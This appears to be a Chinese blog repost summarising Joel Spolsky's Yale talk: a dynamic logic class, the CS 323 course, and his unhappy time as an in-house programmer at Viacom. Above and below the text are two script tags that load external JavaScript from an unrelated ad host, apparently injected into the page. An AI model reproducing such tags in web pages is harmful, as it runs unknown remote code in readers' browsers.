Joel Spolsky在耶魯大學的演講(上)

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>

bg2007121201.jpg

Joel Spolsky是一個美國的軟件工程師,他的網絡日誌“Joel談軟件”(Joel on Software)非常有名,讀者人數可以排進全世界前100名。

上個月28號,他回到母校耶魯大學,與計算機系的學生座談。他發表了一個演講,回顧自己的人生經歷,並總結了一些個人的體會。

我讀完他的演講稿,很受觸動,覺得他的人生體會非常具有啓示性。這篇演講非常長,分爲三個部分()。我沒有時間全文翻譯,就摘錄一些精彩的段落,一共有四段。

大學裏最有用的課程

Joel說,他在大學裏上過的最有用的課,是一門他只上了一回,然後就再也沒有去過的課。

由於父母都是大學教授,親戚朋友都是學術界裏的,大多有博士學位,所以Joel從小就認定自己也會去讀博士,將來搞學術。可是,有一門課程改變了他的想法,使他最終沒有去報考研究生院。

這門課程叫做“動態邏輯”(Dynamic Logic)。在第一堂課上,教授證明了一個命題。假定有一個程序“f := not f,” f是表示真假的邏輯值,那麼結論是程序運行偶數次後,f的值保持不變。整個證明過程非常冗長,要花幾個小時講解,一共有幾十步。課後習題則是,證明如果f值保持不變,那麼程序必然運行了偶數次。

課後,Joel花了很多時間做題,還去圖書館借來了參考書。但是,他逐漸感到這樣做沒有意義:用大量瑣碎的、容易出錯的步驟,去證明一個憑直覺就能認定成立的命題,這不是一個富有實效的工作方法。在Joel看來,計算機更應該用來解決錯誤,而不是讓人們陷入邏輯的陷阱,去產生錯誤。(I decided that this Dynamic Logic stuff was really not a fruitful way of proving things about actual, interesting computer programs, because you’re more likely to make a mistake in the proof than you are to make a mistake in your own intuition.)通過這件事,他認識到,自己不適合做純思辨性的學術研究。因此,他就退掉了這門課,並且以後也沒有選擇去上研究生院。

Joel認爲,就是這門只上了一次的課,恰恰成爲了他在大學中上過的最有用的課,因爲它幫助他選擇了正確的人生道路。

所以,Joel的第一個結論是:人生中重要的是,關注那些真正的問題(real problem),不要陷入那些細枝末節的問題(trivial problem)。就像蘇格拉底說的,“認識你自己”。

此外,Joel說,還有一門叫做CS 323的課,也很有用。這門課有大量的課後習題,都是關於編程的,平均每星期要花40個小時來做題。

Joel發現他能夠做出大部分的題目,更重要的是,他發現自己喜歡做這些題。這樣一來,他就明白自己是適合編程的。另一方面,很多其他學生對這門課感到無比頭疼,覺得編程既枯燥又痛苦,每週40小時做這種題簡直是一種刑罰。這些人於是明白,雖然同樣是計算機系的學生,但是他們並不適合編程。這是一件好事,因爲這樣他們就避免了以後選擇錯誤的職業。否則,讓一個不喜歡編程的人,一生都與程序打交道,這是多麼悲慘的一件事啊!

在Viacom的日子

畢業以後,Joel先在微軟公司幹了一段日子,然後回到紐約,進入維亞康母公司(Viacom),爲這家巨型的娛樂傳播公司編寫軟件,成爲IT部門裏一個程序員(in-house programmer)。

後來,Joel回憶起來,認爲這是他一生中最痛苦的日子,並且勸告計算機系的學生儘可能不要去做“in-house programmer”。

原因有三個。

首先,你永遠沒有辦法正確地編寫軟件,你不得不用最方便的方法編寫軟件。因爲軟件支出非常高昂,所以公司會要求儘可能節省成本,你不可能試用新技術,只能使用現有的最成熟、最保守的技術。

其次,你沒有辦法將一個項目做到盡善盡美。一旦程序可以正常運行,你的工作也就結束了,可以接下去幹公司的下一個項目了。你的作用是解決問題,而不是將軟件寫得儘可能好。如果你是在一個專業的技術性公司,比如Google或Facebook,情況就完全不一樣,你的軟件寫得越好,公司就會越成功,所以公司會支持你在一個項目上不斷做下去。

最後,傳統公司IT部門裏的程序員,只屬於公司內部的維護人員,而不是直接從事核心業務的人員。因此,你永遠辦法進入管理層。但是,在技術性公司,程序員會變成CEO。

因爲這三個原因,Joel覺得in-house programmer不是一個好的職業,不幸的是,80%的程序員屬於這一類,年復一年,很多人的生命就是這樣被耗乾的。(it’s frightening because this is what probably 80% of programming jobs are like, and if you’re not very, very careful when you graduate, you might find yourself working on in-house software, by accident, and let me tell you, it can drain the life out of you.)

Joel的第二個結論是:選擇職業時,不要只考慮職位是否專業對口,應該儘量選擇業務方向與你專業相同的公司。

(未完待續)

<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
發佈了4 篇原創文章 · 獲贊 2 · 訪問量 10萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章